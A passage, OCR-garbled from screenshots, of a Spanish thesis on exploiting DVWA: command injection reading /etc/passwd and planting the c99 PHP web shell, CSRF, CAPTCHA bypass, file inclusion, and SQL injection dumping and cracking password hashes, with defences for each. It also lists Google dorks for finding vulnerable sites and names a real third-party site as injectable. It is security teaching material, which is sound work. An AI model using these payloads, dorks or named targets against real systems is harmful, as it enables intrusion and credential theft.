de ser enviada y ejecutada por el servidor.

<?php
if( isset( $_POST[ 'submit® 1 ) ) {

$target = $ REQUEST[ 'ip' 1;

if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell exec( 'ping ' . $target );
echo "<pre>'.$cmd. " </pre>’;

} else {

$cmd = shell exec( 'ping -c 3 ' . $target );

echo "<pre>' . $cmd."</pre>’;

¥

>
Figura 20. Codigo PHP Security Level Low

Podemos aprovechar este formulario, y utilizarlo para otros fines, la forma de
hacerlo es concatenando comandos en Linux, usando los siguientes
caracteres:
e “&” — Permite que dos 0 mas comandos se ejecuten de manera
simultanea.
e “|” — hace que la salida del primer comando, se convierta en la entrada
del segundo.
e “&&"— Es el operador AND, que obliga a que el primer comando sea
verdadero para que se ejecute el segundo.
e “||”—> es el operador OR. Es este caso, sblo se ejecutara el segundo
comando si el primero no acaba con éxito.
e “’— El segundo comando se ejecutara siempre, independientemente
del resultado del primero.

Los comandos que podemos usar, para acceder de forma no autorizada a
recursos del servidor, son:
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> Pwd: muestra el directorio actual.

Vulnerability: Command Execution
Ping for FREE

Enter an IP address balow:

162 168 1 1; pw | subrnit |

PIMG 152.158.1.1 (102.168.1.1) S&(34) b?Fcc ot data,

54 hytoes from 102.168.1.1: Lemp req=l ttl=A4 time=1.26 ms

54 hyres from 192,168.1.1: Lemp_req=7 tTtl=ad Time=l.29 ms

54 bytes from 192.1588.1.1: Lemp _reg=3 Ctl=54 time=l.24 ms
192.158.1.1 ping statistics

2 packets trancmitted, 2 recelved, 0% packet lesc, time 2003ms

rtt mindavg/maxsmdey = 1.24371.267/1.207 /0,022 nz

susrisharesdywas wulnerabilitiessexec

Figura 21. Vulnerabilidad Command Execution PWD

» Is =Itr /: muestra el directorio raiz del sistema.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

|15 -ltr ¢ | submit |

total 104

drwxr-xr-x 2 root root 4098 Mar 5 2012 selinux

drwxr-xr-x 10 root root 4085 Apr 23 2012 usr

drwxr-xr-x 2 root root 4098 Apr 23 2012 srv

drwxr-xr-x 2 root root 4098 Apr 23 2012 opt

drwx------ 2 root root 16384 May 23 2012 lost+found

drwxr-xr-x 2 root root 4085 May 22 2012 cdrom

drwxr-xr-x 4 root root 4095 Jul & 2012 home

T rws rw rwx 1 root root 37 Jul 27 2013 initrd.img.old -= fbootsinitrd.1img-|3.:
T rw Fw rw 1 root root 23 Jul 27 20132 vmlinuz.old -= boot/vmlinuz-3.2.0- 459
drwxr-xr-x 3 root root 4005 Jul 27 2013 media

drwxr-xr-x 3 root root 4095 Apr 14 10:50 mnt

drwxr-xr-x 24 root root 4085 Apr 14 12:08 Llib

drwxr-xr-x 2 root root 12288 Apr 14 12:08 bin

T rws Fw rwx 1 root root 34 Apr 14 12:08 libnss3.s0 -= fusr/Llibs/1386- Linux-gnu
drwxr-xr-x 2 ropt rpot 12288 Apr 14 12:10 sbin

L Pwes P Pt 1 root root 37 Apr 14 12:11 initrd.img -= /boot/initrd.img-3.2.j0-1
1w P Pwd 1 root root 33 Apr 14 12:11 wmlinuz -= boot/vmlinuz-32.2.0-60-ggne
drwxr-xr-x 3 root root 4095 Apr 14 12:11 boot

o
5
k)
B
—
[le]

root root 4095 Apr 15 20:59 root

drwxr-xr-x 12 root root 4095 Apr 15 21:30 var
dr-xr-xr-x 172 root root o Apr 15 10:14 proc
drwxr-xr-x 13 root root o Apr 18 10:14 sys

—
9]

drwxr-xr-x root root 4240 Apr 16 10:15 dew
drwxr-xr-x 172 root root 12288 Apr 16 10:15 etc
drwxr-xr-x root root 160 Apr 16 10:15% run
o P P Pt root root 4095 Apr 16 10:3%9 tmp

=
o

Figura 22. Vulnerabilidad Command Execution Is -Itr |

José Carlos Novella Roman 34



255

aa ry

) Explotacién de vulnerabilidades web a través de DVWA

» cat /proc/cpuinfo: muestra informacion de la CPU.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:
192168 1.1 && cat /proc/cpuinfo | submit |

PIMG 192.158.1.1 (192.168.1.1] S6(24] bytes of data.

54 bytes from 182.168.1.1: i1cmp_req=1 ttl=84 time=1.33 ms
54 bytes from 162.168.1.1: i1cmp_req=2 ttl=64 time=1.25 ms
54 bytes from 162.168.1.1: 1cmp_req=3 ttl=84 time=1.25 ms

- 192.168.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt mlnfaugfmaxfmdev = 1.256/1.283/1.335,/0. 056 ms

processor 8 ®

vendor_1d : GenuineIntel

cpu family 15

model D25

model name 1 Intel{R) Corel(TM} 17 CPU 920 @ 2.87GHz
stepping H

microcode +oxf

cpu MHz 1 2685.555

cache size : BlE2 KE

fdiv_bug : ho

hlt_bug : no

foof_bug 1 no

coma_bug : no

fpu 1 yes

fpu_exception @ yes

cpuid level ;11

wp T oyes

flags : fpu vme de pse tsc msr pae mce cx8 aplic sep mtrr pge mca cmov £
bogomips : 5330.60

clflush size 1 B4

cache_alignment : 64

address sizes @ 40 bits physical, 48 bits wirtual

power management:

Figura 23. Vulnerabilidad Command Execution informacion CPU.

» cat /etc/passwd: podemos ver las cuentas que pueden acceder al
sistema de forma legitima y asi obtener la informacion basica para
realizar un ataque de fuerza bruta.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

[&: cat retcipasswi || submit |

rootix:0:0:root: froot: sbinsbash
daemon:x:1:1:daemon:susryisbin: sbinyssh
bin:x:2:2:bin: /bin: rbingsh
sys:x:3:3:8ys: fdev: /bingsh

syhncix: 465534 sync: /bin: fbin/syne
games:¥:5:60:games: fusr/games: /bin/sh
man:x:G:12:man: fvar/cache/man: /bin/sh

lp:x:7:7:1p: fvar/spool/lpd: sbinssh

mail:x:g:gimail: fvary/mail: /binssh

news:x:9:8:news: /var/spool/news: /binssh
Uucpix:10:10:uucp: fvar/spool/uucp: /binssh
proxy:x:13:13:proxy: /bin: /binssh

whww-datas i 33033 0www-datas Svar fwww s fbingsh
backup:x:34:34:backup: fvar/backups: /binssh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
1rc:x:39:30:1rcd: fvarsrunsircd: sbingssh
ghats:x:41:41:Gnats Bug-Reporting System (admin):/var/libsgnats: /bin/sh
nohodw = v : 65534 65534 :nohody : fnonex stent: rhinrsh

Figura 24. Vulnerabilidad Command Execution Informacidn Sistema
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Hasta ahora, estas vulnerabilidades no han sido preocupantes, ya que el
usuario que ejecuta los comandos solo tiene permisos de lectura al sistema de
archivos, y no de administrador, pero si seria preocupante si el usuario
encontrara un directorio con permisos de lectura, escritura y ejecucion en el
mismo nivel del sistema de ficheros en el que se encuentra la aplicacion web.

Vulnerability: Command Execution

Ping for FREE
Enter an IF address below:
sl -l L f fhackable suhmit

total 8
drwxr-xr-x 2 root root 4008 Sep 9 2010 users
2 root root 4095 Jun 2 20:17 uploads

Figura 25. Vulnerabilidad Command Execution comando Permisos escritura

En este caso podria descargar una Shell escrita en PHP y descomprimir el
fichero con password:

Vulnerability: Command Execution

Ping for FREE
Enter an IP address below:
sunrar ¥ -paeaeer. c98shell.gen tr shellc89 rar) | submit

UMRAR 4.00 beta 2 freeware Copyright (c) 1993-2010 Alexander Roshal

Extracting from shellcS9.rar

Rar Paszword : www.cS9shell.gen.tr
Rar &

Extracting <99.php T OEn 0K
ALL Ok

Figura 26. Vulnerabilidad Command Execution. Descarga Shell en PHP

Tras esto, el Shell ha sido cargado en el servidor y es accesible para cualquier
usuario que conozca su ubicacion:
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1c99Shell v. 1.0 pre-release build #16!

pae #91-Ubuntu SMP Wed Feb 19 04:14:56 UTC 2014 i686
nid=33{www-data) gid=33{www-data) groups: {wwnwr- data)
Safe-mode:

Encoder Tools Proc. FIP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Execute | Display in text-area =

Figura 27. Shell en PHP cargada en el servidor.

Como hemos dicho, DVWA permite establecer diferentes niveles de seguridad,
si ponemos el nivel de seguridad en médium, se implementa una funcién de
PHP, ‘str_replace()’, para realizar un filtrado superficial de los valores pasados,
eliminandose los caracteres “&&” y “;”, sin embargo, esta medida se muestra
ineficaz ante el uso de los operadores “&&”y “||”.

Vulnerability: Command Execution

Ping for FREE

Enter an IF address bhalow:

[|| uptirne| l sukrmnit

11:58:40 up  1:44, 2 users, Load average: ©.08, 0.04, 0,05

Figura 28. Vulnerabilidad Command Execution comando uptime

Esta deficiencia se soluciona en el nivel de seguridad high de DVWA que
incorpora la funcién stripslashes®, que permite filtrar la cadena recibida. Aparte,
el script de DVWA comprueba, para mayor seguridad, que el valor que esta
recibiendo es una direccion IPv4.

5> http://www.php.net/manual/es/function.stripslashes.php
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if ((is_numeric($octet[@])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {

$target = $octet[0].'.'.$octet[1].'." .$octet[2].'." .$octet[3];
Figura 29. Codigo script PHP Level High
El script DVWA Level High aparte usa las siguientes funciones:

e explode(): para delimitar la cadena segun el pardmetro recibido, en este
caso, el punto.

e Is_numeric(): para comprobar, que lo que hay entre los puntos, es un
entero.

e Sizeof(): comprueba que el nimero de subcadenas sea 4.

4.1.2.3 Cross-Site Request Forgery

CSFR es la falsificacion de peticion en sitios cruzados, siendo un exploit en el
gue comandos no autorizados son transmitidos por un usuario de confianza
para el sitio web.

Esta vulnerabilidad también es conocida como XSRF, enlace hostil, ataque de
un click, cabalgamiento de sesion y ataque automatico.

La vulnerabilidad CSRF tiene lugar cuando el sitio web permite al usuario
realizar acciones consideradas como sensibles, y simplemente comprueba que
la peticion proviene del navegador autorizado, y no comprueba que el usuario
esta realizando dichas acciones de forma consciente.

De esta forma, y puesto que los navegadores ejecutan simultdneamente codigo
enviado por multiples sitios web, existe el riesgo de que un sitio web envié una
solicitud a otro sitio web y este segundo sitio web piense que la peticién ha
sido realizada por el usuario.

Para que el usuario sea victima del atague CSRF, previamente tiene que entrar
con el usuario “admin” y la contrasefia “password”. Si la autentificacion es
correcta, se muestra el mensaje de bienvenida y recibird una cookie con la id
de inicio de sesion, que sera valida mientras el usuario no cierre la sesion.

En DVWA podremos reproducir un ataque CSRF con los siguientes pasos:

e Accedemos a DVWA y se procede a cambiar la contrasefia accediendo
al apartado CSRF. Ponemos la contrasefa ‘aaaa’
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Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password;

Current password:

New password:

Confirm new password:

_Change |

Figura 30. CSRF Formulario cambio contrasefia.

e Una vez cambiada la contrasefia, vemos el codigo de la pagina

L <corm mechod=-Gar action=tet
Current password:
<br>
<input type="password" name="password_ current"” autccomplete="ofI">
<br>
New password:
<br>
<input type="password" name="password new" autocomplete="off">
<br>
Confirm new password:
<br>
<input type="password" name="password conf" autocomplete="ofif">
<br>
<input type="submit" name="Change" value="Change">

</form>

Figura 31. CSRF Cédigo formulario ‘change your admin password’

e Copiamos el codigo fuente de la pagina de DVWA, y tras hacer unas

modificaciones, con los valores de la nueva contrasefia, lo guardamos
con el formato HTML

He *aaahtml (~/Documents) - gedit

File Edit Wiew Search Tools Documents Help

E@ %Dpen W HSE\I‘E %I" t;)‘}Undo e L =) g
/@ *aaahtml ] |

<form action="#" method="GET"=Current password: <br=

e (2 ()
W o W

<input type="password" AUTOCOMPLETE="off" name="password new"
value""="admin"><br>
Confirm new password: <br=
<input type="password" AUTOCOMPLETE="off" name="password conf"
value""="admin">

<br=>

<input type="submit" value="Change" name="Change">
</form=

Figura 32. CSRF Formulario HTML
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e Abrimos la pagina creada con el navegador y tras cambiar la contrasefia,
copiamos la direccion generada

e Mozilla Firefox
1. Restore Session * | file:///hom...ts/aaa.html x | [ Damn vulnerable ... x| @] Damn Vulnerable ... x | [B] Dar

f® € file:///home/samurai/Documents/aaa.html?password_new=admin&password_conf=admin&Change=Change# v

Current password:
Confirm new password:

Change

Figura 33. CSRF Formulario en navegador

Y modificamos la pagina HTML incorporando la direccion

#w € file:///home/samurai/Documents/aaa.html?password_new=admin&password_conf=admin&Change=Change# v @
Current password:
Confirm new password:

Change
./ Source of: file///homefsamurai/Documents/aaa htm?password_new=admin&password_conf=admin&... » & X
File Edit View Help

<form action="http://dvwa/vulnerabilities/csrf/?" method="GET">Current password:<br>

<input type="password" AUTOCOMPLETE="off" name="password new" value""="admin"><br>
Confirm new password: <br>

<input type="password" AUTOCOMPLETE="off" name="password conf" value""="admin">
<br>

<input type="submit" value="Change" name="Change">
</form>

Figura 34. CSRF Cambio codigo HTML

Al cambiar la contrasefia desde la pagina creada, se cambia la
contrasefia del usuario ‘admin’ en la pagina DVWA

l.‘:ha_nun yolLir admin passwornd:
Nesw pas Sveid

Canfinm new password

Change

Password Changed

Figura 35. CSRF. Proceso completado.
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Para evitar este ataque, nos fijamos en la solucion aportada por DVWA en su nivel
medio, que modifica el formulario, para obligar que el usuario tenga que meter la
contrasefia anterior, y la nueva dos veces.

o
w
w w W
W
0 9 Qq
"
H
]
"

o

"N " N
o
W

Figura 36. CSRF. Codigo DVWA Level High
Otras formas de evitar un ataque CSRF® son:

e Usar un identificador aleatorio por cada peticién en los diferentes formularios. Cuando
se reciba una peticidn desde el formulario, el servidor comprobara la validez de este.

e Generar un nombre aleatorio por cada campo del formulario, este nombre aleatorio,
se almacena en una variable de sesion, y tras su uso, se vuelven a generar un nuevo
nombre.

4.1.2.4 Insecure Captcha

Captcha (Completely Automated Public Turing test to tell Computers and
Humans Apart), se basa en una prueba de Turing totalmente automética y
publica para diferenciar computadoras de personas’

Se utilizan para proteger a las paginas web de ataques por fuerza bruta, y en
general evitar que los robots puedan hacer uso de los servicios de las paginas
web como pueden ser encuestas o foros de discusion.

Sin embargo, las deficiencias en la implementacion de codigos CAPTCHA
pueden permitir a un usuario malintencionado la ejecucién masiva de acciones
sobre el sistema.

Para probar esta vulnerabilidad en DVWA, tenemos que hacer es acceder a la
pagina de google hitps://www.google.com/recaptcha/admin/create, para
adquirir una Captcha para nuestra pagina web. Al hacerlo, se nos facilitara una
clave publica y otra clave secreta.

6 http://es.wikihow.com/evitar-ataques-CSRF-%28falsificaci%C3%B3n-de-petici%C3%B3n-en-sitios-
cruzados%29-con-PHP

7 Grossman, Lev (5 de junio de 2008). «Computer Literacy Tests: Are You Human?» (en inglés). Time.
Consultado el 12 de junio de 2008. «The Carnegie Mellon team came back with the CAPTCHA. (It stands
for "completely automated public Turing test to tell computers and humans apart"; no, the acronym
doesn't really fit.) The point of the CAPTCHA is that reading those swirly letters is something that
computers aren't very good at. »
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Clave del sitio

Usalaene igo HTML que muestra t

6Le5ZQwTAAAAACBGgER2a_nsO_cpBB3731NvVAyJx

Figura 37. Clave Publica reCaptcha.

Aparte, se nos daré el cédigo que debemos afadir a nuestra pagina web:
<div class="g-recaptcha" data-sitekey="6Le5ZQWTAAAAACBGgEh2a_nsO_cpBB3731NvAyJx"></div>

Figura 38. Cddigo reCaptcha.

Una vez afiadido el Captcha, probaremos la vulnerabilidad, para ello
introduciremos la contrasefia, pero no introduciremos o rellenaremos
correctamente el Captcha.

Vulnerability: Insecure CAPTCHA

Change your password:

Figura 39. Formulario Captcha.

Una vez le demos al botén de aceptar, lo que tenemos que hacer es interceptar
la peticion Post, y cambiar el valor de ‘step’, de 1 a 2.

Para evitar este ataque, DVWA realiza los siguientes cambios:

¢ Nivel medio de seguridad DVWA: Afadir un formulario adicional, para
confirmar la peticion de cambio de contrasefa.

e Nivel Alto de seguridad DVWA: la comprobacion se realiza en solo un
paso, usando el método ‘captcha_check answer()’.

e Adicionalmente, la entrada ‘password’ esta protegida con la funcién
mysql_real_escape_string().

"
w w v n

LR ]
W
W W

"

0w D

Figura 40. Detalle codigo PHP Level High.
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4.1.2.5 File Inclusion

Este tipo de wvulnerabilidad se da cuando se ejecutan en el servidor web
ficheros locales o externos al propio servidor, por lo tanto se pueden dar dos
tipos de ataques:

-LFI -> Local File Inclusion.
-RFI -> Remote File Inclusion.

Son dos tipos de vulnerabilidad que se pueden encontrar en paginas web PHP
y son debidas a una mala programacion, al hacerse uso de las funciones
‘include’, finclude_once’, require’, require_once’ en inclusiones internas, y
‘fopen’ en inclusiones externas.

El ataque se realiza cambiando las URL, para obtener la informacion que
necesitamos:

g Damn Vulnerable Web App (DVWA) v1.8 = Vulnerability: File Inclusion - Mozilla Firefox > o) X
file:///home/s...mentsfaaa.html % ‘ Damn Vulnerable Web A... x | Damn Vulnerable Web A... x | Damn Vulnerable Web A... % | =
# € dvwayvulnerabilities/fi/?page=/etc/passwd Ne@vE @ @ @v o o2y B ¥ =
rootx:0:0:root/root/binibash daemon:x:1:1.daemon:fusrisbin:usr/sbin/nologin binx:2:2:binJbin:jusrisbin/nologin sysx:3:3:sys:deviusrisbininologin syncx:4:65534 sync/binzbin/sync o

gamesx:5:60:games:/usrigames:/usrisbin/nologin manx:6:12:man:varicache/man:/usrisbin/nologin |px:7:7 Ip:ivar/spoolpdiusrisbin/nologin mail>c:8:8:mail:ivar/mail:lusr/sbin/nologin
newsx:9:9:news:var/spoolinews:fusrisbin/nologin uucp:x:10:10:uucp:ivar/spooliuucp:usrishin/nologin proxy::13:13:proxy:/hin:fusrisbin/nologin www-datan:33:33:www-data:variwww:iusr/shin/inologin
backup:x:34:34:backup:var/backups:iusrishininologin listx:38:38:Mailing List Manager:ivar/list/usrisbin/nologin irc:x:39:3%:ired:var/runfircd:fusr/sbin/nologin gnatsx:41:41:Gnats Bug-Reporting System
(admin)varflibignats:iusr/sbin/nologin nobody:x:65534:65534 :nobody:/nonexistent/usr/sbin/nologin libuuid:x:100:101:varliblibuuid: syslogx:101:104:/home/syslog:/binffalse
messagebusx:102:106:varrun/dbus:/binffalse usbmux:103:46:usbmux daemon,,, shomejusbmux:/bin/false dnsmasg:x:104:65534.dnsmasq,, Jvar/lib/miscibin/false avahi-autoipd:x:105:113:Avahi
autoip daemon,,Narflib/avahi-autoipd:/binfalse kernoopsx:106:65534:Kernel Oops Tracking Daemon,,//binfalse rikitx:107:114:RealtimeKit,, /procibinfalse saned:x:108:115:/home/saned /bin/false
whoopsiex:109:116:/nonexistent/binfalse speech-dispatcherx:110:29:Speech Dispatcher, varirun/speech-dispatcheribin/sh avahizx:111:117:Avahi mDNS daemon,, Jvarfrun/avahi-daemon:bin/false
lightdm:x:112:118:Light Display Managervarlib/lightdm:/binffalse colordx:113:121:colord colour management daemon,,, fvarfib/colord/binfalse hplipxc114:7:HPLIP system user,,, varrun/hplip:/bin/ffalse
pulsex:115:122:PulseAudio daemon,, Jvarrunipulses/bin/false samuraiz:1000:1000:samurai,.,shome/samurai/bin/bash mysqlxc116:125:MySQL Server,, /nonexistent/bin/false sshdx:117:65534:hvar |,
Ifrunisshd:/usrisbin/nologin kdm:x:118:65534:/home/kdm /bin/false |

Home

Figura 41. Ataque Local File Inclusion.

En este caso hemos obtenido los usuarios poniendo “etc/passwd” después de
“‘dvwalvulnerabilities/fi/?page=" quedando la siguiente URL.:

“‘Dvwalvulnerabilities/fi/?page=/etc/passwd”

Referente a la inclusion remota, es necesario que el servidor tenga habilitada
en la configuracion PHP la directiva de seguridad ‘allow_url_include’. Tras
hacerlo afiadimos después de la URL original el texto “http://www.google.es”
visualizandose de esta forma la pagina de www.google.es.
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Figura 42. Ataque Remote File Inclusion. Google.
Podemos evitar el ataque File Inclusion con las siguientes instrucciones:

e Usando la funcién str_replace()®, que es la solucién dada por DVWA en
el nivel de seguridad medio.

e Visualizando el cédigo fuente de la pagina codificado en base64.

e Incluir en el cédigo la extension del archivo a incluir.

< ?php

$file = $ GET['page']:

if ( £file '= "include.php™ )} {
echa "ERRCR: File not found!";
exit;

>

Figura 43. Codigo para evitar RFI.
Podemos evitar el ataque RFI:

e Teniendo desactivada la directiva ‘allow_url_include’de PHP, para evitar
gue su puedan incluir scripts usando direcciones web.

e Evitando que se puedan pasar direcciones web a la funcién fopen() y
allow_url_fopen().

& http://www.php.net/manual/es/function.str-replace.php
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4.1.2.6 SQL Injection

Inyeccién SQL es una forma de infiltrar codigo malicioso en una aplicacion en
el nivel de validacion para realizar operaciones no permitidas sobre la base de
datos. Es la primera vulnerabilidad del top 10 de riesgos en aplicaciones web
de OWASP, desde que fue detectada en 1998. Es un ataque muy simple,
eficaz y de gran alcance, y que puede tener un impacto muy grande en las
aplicaciones atacadas, ya que puede dejar al descubierto informacion sensible.

Vulnerability: SQL Injection

User ID:

Submit

Figura 44. SQL Injection.

El ataque consiste en inyectar cdédigo SQL dentro del cédigo SQL programado,
con la finalidad de alterar el funcionamiento normal del programa y acceder a
informacion concreta de la BBDD, la inyeccién se realiza, aprovechando que el
autor de la pagina web no ha filtrado las entradas de datos por parte del
usuario.

Para encontrar paginas susceptibles de sufrir atagues, podemos utilizar los
Google Dorks. Los Google Dorks® son combinaciones de operadores de
busqueda que se utilizan para extraer informacion valiosa. El termino Google
dorks es despectivo, ya que se basa en buscar informacién sensible que
usuarios han dejado en internet a la vista de todo el mundo, como pueden ser
combinaciones de nombre de usuario y contrasefias.

Eﬁlebjpe:xls “username|pas X

&« C | B https://www.google.es/?gws_rd=ssl#q=filetype:xls+%22username%7Cp iy | =
GO gle filetype xIs "username|password”

Web Imagenes Videos Moticias Maps Mas « Herramientas de

Aproximadamente 34.400 resultados (0,35 segundos)

Las cookies nos permiten ofrecer nuestros servicios. Al utilizar nuestros servicios, aceptas
uso que hacemos de las cookies.

Mas informacidn

LSIVy Passwords
htips://www.axantum.com/AxCrypt/etc/Passwords.xls ~ Traducir esta pagina
A B.C,D. E. 1 What, URL, User-Id, Password/PIN, Comment. 2, Sourceforge,
http://sourceforge.net, topcoderwiz. coolstuff, This is just a sample entry

X-ISheett

apjcn.nhri.org.tw/server/apjcn/Nestle/password xls = Traducir esta pagina
A. B, C.D, E. 1. USERNAME, PASSWORD, INSTITUTION, EMAIL, LAST NAME,
FIRST NAME. 2, nitabhandari, pediatrics, All India Institute of Medical Sciences ...

Figura 45. Google Dorks

% http://www.linuxito.com/seguridad/294-google-dorks
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Y en el caso concreto de Injection SQL, podemos encontrar servidores
vulnerables a consultas SQL cacheadas, introduciendo el dork in ‘url:/wp-

content/w3tc/dbcache/’.

Otros ejemplos de dorks para SQL Injection son'®:

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play old.php?id=

inurl:declaration_more.php?decl id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff id=

inurl:newsitem.php?num= andinurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

10 https://blog.udemy.com/tutorial-de-inyeccion-sql-para-principiantes/
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inurl:declaration_more.php?decl _id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff id=

inurl:newsitem.php?num=
Tabla 2. Ejemplos de Google Dorks

La forma de saber si una pagina web es vulnerable a un ataque por Inyeccion
de SQL, es concatenando un apostrofe a la URL inicial:

http://www.cristaldemira.com/articulos.php?id=1482

http://www.cristaldemira.com/articulos.php?id=1482’

Si al hacerlo, vemos el siguiente mensaje de error, es que la pagina es
vulnerable, ya que desde la pagina no se estan filtrando las entradas:

[ www.cristaldemira.com/ar %

€ - C' [} www.cristaldemira.com/articulos.php?id=1482%27 By =

You have an error 1 your SQL syntax: check the manual that corresponds to vour MySQL server
version for the right syntax to use near """ at line 1

Figura 46. SQL Injection. Pdgina Web vulnerable.
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Aparte de la busqueda por Google Dorks, podemos encontrar una relacion de
paginas vulnerables en mdultiples foros y péginas webs como
http://www.taringa.net/post/info/14891387/Paginas-Vulnerables-a-SQL-Todas-
Se-Dejan-Inyectar.html

Un ataque de inyeccion SQL se puede evitar siguiendo los siguientes
consejos?!:

e Nunca conectarse a la base de datos como superusuario 0 como
propietario de la base de datos. Siempre se deberan usar usuarios
creados para la pagina web, y con privilegios muy limitados.

e Emplear sentencias preparadas con Vvariables vinculadas. Estas
sentencias son proporcionadas por PDO, MySQLi y otras bibliotecas.

e Se debera comprobar si la entrada proporcionada tiene el tipo de dato
previsto. Para tal fin, podremos usar las funciones de PHP como
funciones de variable, funciones de tipo caracter (is_numeric (),
ctype_digit ()).

e Si la expresion espera una entrada numérica, se puede verificar los
datos con la funcion ‘ctype_digit ()’ o silenciosamente cambiar su tipo
usando la funcién ‘settype()’ o empleando su representacién numérica
por medio de ‘sprintf ()".

e Se entrecomillara cada valor no numérico proporcionado por el usuario
que sea pasado a la base de datos con la funcién de escapado de
cadenas especificas en el caso de que la base de datos no admita
variables vinculadas.

e Jamas se mostrara informacion sobre el esquema de la base de datos.

e Se pueden utilizar procedimientos almacenados y cursores previamente
definidos para abstraer el acceso a datos para que los usuarios no
tengan acceso directo a las tablas o vistas.

e Controlar los mensajes de error y evitar que estos se visualicen al
usuario.

Con DVWA podremos practicar todas estas vulnerabilidades, para ello,
ponemos el nivel de seguridad en bajo, y nos vamos al apartado SQL Injection.

1 http://php.net/manual/es/security.database.sql-injection.php

José Carlos Novella Roman 48


http://www.taringa.net/post/info/14891387/Paginas-Vulnerables-a-SQL-Todas-Se-Dejan-Inyectar.html
http://www.taringa.net/post/info/14891387/Paginas-Vulnerables-a-SQL-Todas-Se-Dejan-Inyectar.html

255

aa ry

) Explotacién de vulnerabilidades web a través de DVWA

En SQL Injection, se nos muestra un formulario basico, en el que se nos pide el
‘User Id’, y se nos facilita el nombre y el primer apellido:

Vulnerability: SQL Injection

User ID:

I || submit

ID: 1
First name: admin
Surname: admin

Figura 47. SQL Injection. Inyeccion de cédigo.

Para comprobar de forma sencilla si DVWA es vulnerable a SQL Injection, sélo
tenemos que poner una comilla simple después del dato insertado en la
entrada, y asi sabremos si esta validando los datos o no.

[ 127.00.1/dvwafunerasi x §
€ = C [1127.00.1/dvwa/vulnerabilities/sqli/7id=1%27&Submit=Submit#

You have an error in your SQL syntax; check the manual that correspends to your MySQL server version for the right syntax to use near "'1'"" at line 1

Figura 48. SQL Injection. Mensaje de error.

Puesto que ya sabemos que podemos concatenar instrucciones SQL, usando
la comilla simple, vamos a realizar unas cuantas consultas para obtener
informacion a la que no deberiamos tener acceso.

User ID:
Submit
ID: 1" and 1=1 union select database(), user()#
First name: admin
Surname: admin
ID: 1" and 1=1 union select database(), user()#
First name: dvwa
Surname: rootfilocalhost

Figura 49. SQL Injection. Inyeccion de cddigo.
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User ID:

Submit |
ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name: admin
Surname: admin
ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:
Surname: CHARACTER SET

>

w

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:

Surname: COLLATIONS

ID: 1' and 1=1 union select null, table_name from information_schema.tabl
First name:

Surname: COLLATION_CHARACTER_SET_APPLICABILITY

g
[

3

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:

Surname: COLUMNS

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:

Surname: COLUMN_PRIVILEGES

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:

Surname: ENGINES

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
First name:

Surname: EVENTS

ID: 1' and 1=1 union select null, table_name from information_schema.tables#
m

w
c

3

3

@

]

m

m
-

r

m

w

Figura 50. SQL Injection. Informacion tablas BBDD.

Podemos ver cuantos usuarios hay en la tabla USERS

User ID:

| | Submit |

ID: 1° and 1=1 union select count(*), count(*) from users#
First name: admin
Surname: admin

ID: 1° and 1=1 union select count(*), count(*) from users#
First name: 5
Surname: 5

Figura 51. SQL Injection. Recuento usuarios tabla users.

José Carlos Novella Roman 50



B,
2

Explotacién de vulnerabilidades web a través de DVWA

User ID:

ID: 1" and 1=1 union select user, password from users#
First name: admin
Surname: admin

ID: 1" and 1=1 unicn select user, password from users#
First name: admin
Surname: 5f4dcc3bS5aa7e5d61d8327deb882cf39

ID: 1" and 1=1 union select user, password from users#
First name: gordonb
Surname: €99a18c428cb38d5T26@0853678922e03

ID: 1' and 1=1
First name: 13
Surnames: 8d353

nicn select user, password from users#
75ae2c3966d7eddafcce9216b

ID: 1" and 1=1 union select user, password from users#
First name: pablo
Surname: @8d1@7deofSbbed@cade3dde5c71e9edb?

ID: 1" and 1=1 unicn select user, password from users#
First name: smithy
Surname: 5f4dcc3b5aa’e5d61d8327deb882cfag

Figura 52. SQL Injection. Usuarios BBDD.

Una vez obtenido el hash de la contrasefia, podemos obtener su valor en texto
con herramientas especiales disponibles en paginas web como
http://hashtoolkit.com/reverse-
hash?hash=5f4dcc3b5aa765d61d8327deb882cf99

[2) TRY HARDER: DVWA-BLIN x ', [ Introduccion a DVWA. % I {8 < Decrypt md5 5fddecc3b % § Y
&« C | [ hashtoolkit.com/reverse-hash?hash=5f4dcc3b5aa765d61d8327deb882cf99 i

Hash Toolkit

Search in 2,817,398,863 md5/sha1 hashes.

AdChoices [ » MD5 » Password » MD5 Decrypt Tool » Hash Generator

Hash: 5fddcc3b5aa765d61d8327deb882c199 n

X

@ maTiC

weloveTools!

Reverse Hash Results for: 5f4dcc3b5aa765d61d8327deb882cf99

Algorithm  Hash Text

md5s 5f4dcc3b5aa765d61d8327deb882cF99 Q | password

Reverse Hashes

Hash Toolkit Hash Decrypter enables you to decrypt / reverse a hash in various formats into their original text.
Hashes are often used to store passwords securely in a database.

Supported hashes for decrvotion:

Figura 53. Conversor Hash.
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DVWA evita el ataque SQL Injection, de la siguiente forma en el modo medio
de seguridad:

e Filtra la informacion que entra por el formulario con la funcion
‘mysql_real_scape_string()’. Aun asi, es posible seguir inyectando
consultas SQL ayudandonos de la sentencia ‘union’.

< ?php
